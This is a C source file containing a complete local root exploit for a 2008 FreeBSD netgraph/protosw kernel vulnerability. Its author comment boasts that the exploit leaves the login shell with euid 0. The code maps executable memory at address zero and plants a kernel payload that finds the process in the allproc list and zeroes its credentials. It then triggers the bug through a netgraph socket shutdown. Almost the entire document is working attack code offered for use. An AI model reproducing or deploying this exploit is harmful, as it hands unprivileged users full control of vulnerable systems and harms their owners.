/*
 * This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
 * defined here: 
 * http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
 *
 * This will overwrite your credential structure in the kernel. This will 
 * affect more than just the exploit's process, which is why this doesn't
 * spawn a shell. When the exploit has finished, your login shell should
 * have euid=0. 
 *
 * Enjoy, and happy holidays!
 *  - Don "north" Bailey (don.bailey@gmail.com) 12/25/2008
 */

#include <sys/mman.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netgraph/ng_socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>

#define PAGES 1
#define PATTERN1 0x8f8f8f8f
#define PATTERN2 0x6e6e6e6e

typedef unsigned long ulong;
typedef unsigned char uchar;

int
x(void)
{
  struct proc * p = (struct proc * )PATTERN1;
  uint * i;

  while(1)
  {
    if(p->p_pid == PATTERN2)
    {
      i = (uint * )p->p_ucred;
      *++i = 0;
      break;
    }

    p = p->p_list.le_next;
  }

  return 1;
}

int
main(int argc, char * argv[])
{
  ulong addr;
  uchar * c;
  uchar * d;
  uint * i;
  void * v;
  int pid;
  int s;

  if(argc != 2)
  {
    fprintf(stderr, "usage: ./x <allproc>\n");
    return 1;
  }

  addr = strtoul(argv[1], 0, 0);

  v = mmap(
    NULL,
    (PAGES*PAGE_SIZE),
    PROT_READ|PROT_WRITE|PROT_EXEC, 
    MAP_ANON|MAP_FIXED, 
    -1, 
    0);
  if(v == MAP_FAILED)
  {
    perror("mmap");
    return 0;
  }

  c = v;
  d = (uchar * )x;
  while(1)
  {
    *c = *d;
    if(*d == 0xc3)
    {
      break;
    }

    d++;
    c++;
  }

  *c++ = 0xc3;

  c = v;
  while(1)
  {
    if(*(long * )c == PATTERN1)
    {
      *(c + 0) = addr >>  0;
      *(c + 1) = addr >>  8;
      *(c + 2) = addr >> 16;
      *(c + 3) = addr >> 24;
      break;
    }
    c++;
  }

  pid = getpid();
  while(1)
  {
    if(*(long * )c == PATTERN2)
    {
      *(c + 0) = pid >>  0;
      *(c + 1) = pid >>  8;
      *(c + 2) = pid >> 16;
      *(c + 3) = pid >> 24;
      break;
    }
    c++;
  }

  s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
  if(s < 0)
  {
    perror("socket");
    return 1;
  }

  shutdown(s, SHUT_RDWR);

  return 0;
}